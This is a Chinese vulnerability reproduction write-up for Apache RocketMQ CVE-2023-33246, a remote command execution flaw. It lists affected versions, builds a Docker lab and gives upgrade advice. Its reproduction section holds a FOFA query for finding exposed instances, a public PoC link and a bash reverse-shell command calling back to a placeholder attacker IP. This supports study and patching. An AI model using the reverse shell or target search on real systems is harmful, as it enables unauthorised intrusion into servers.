文章目录
- 前言
- 声明
- 一、漏洞描述
- 二、漏洞危害
- 三、影响版本
- 四、环境搭建
- 五、漏洞复现
- 六、修复建议
前言
RocketMQ 是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。同时它是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。
声明
本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
一、漏洞描述
在RocketMQ 5.1.0及以下版本在一定条件下,会存在远程命令执行风险;由于RocketMQ的NameServer
、Broker
、Controller
等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者还可以通过伪造 RocketMQ 协议内容来达到同样的效果。
二、漏洞危害
攻击者可以通过使用更新配置功能,以 RocketMQ 运行的系统用户执行命令。此外,攻击者还可以通过伪造 RocketMQ 协议内容达到相同的利用效果。
三、影响版本
- Apache RocketMQ <= 5.1.0
- Apache RocketMQ <= 4.9.5
安全版本:
- Apache RocketMQ 5.x >= 5.1.1
- Apache RocketMQ 4.x >= 4.9.6
四、环境搭建
本次直接用docker拉取漏洞环境。
下载docker镜像:
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv:
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
启动broker服务(先创建并配置broker文件)
创建broker文件目录
mkdir -p /mydata/rocketmq/conf/
配置broker文件
vim /mydata/rocketmq/conf/broker.conf
将下面内容复制粘贴到broker.conf配置文件中:
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = X.X.X.X(宿主机IP)
启动broker:
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动Console:
docker run -d --name rmqconsole -p 8899:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=rmqnamesrv:9876 -Droc
ketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
最后访问IP:8899
显示页面如下:
环境搭建成功!!!
五、漏洞复现
FOFA:title=“RocketMQ”
POC攻击
Github下载地址: https://github.com/Serendipity-Lucky/CVE-2023-33246
使用如下命令进行反弹Shell
PS:自己本地测试的时候,反弹shell的ip不能与docker启动环境的ip一样,不然接收不到shell
命令: java -jar CVE-2023-33246.jar -ip “X.X.X.X” -cmd “bash -i >& /dev/tcp/X.X.X.X/4444 0>&1”
六、修复建议
目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1
或者4.9.6
https://rocketmq.apache.org/download/
https://vip.tophant.com/patch?keyword=/Apache/Apache%20RocketMQ/Apache%20RocketMQ%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-33246)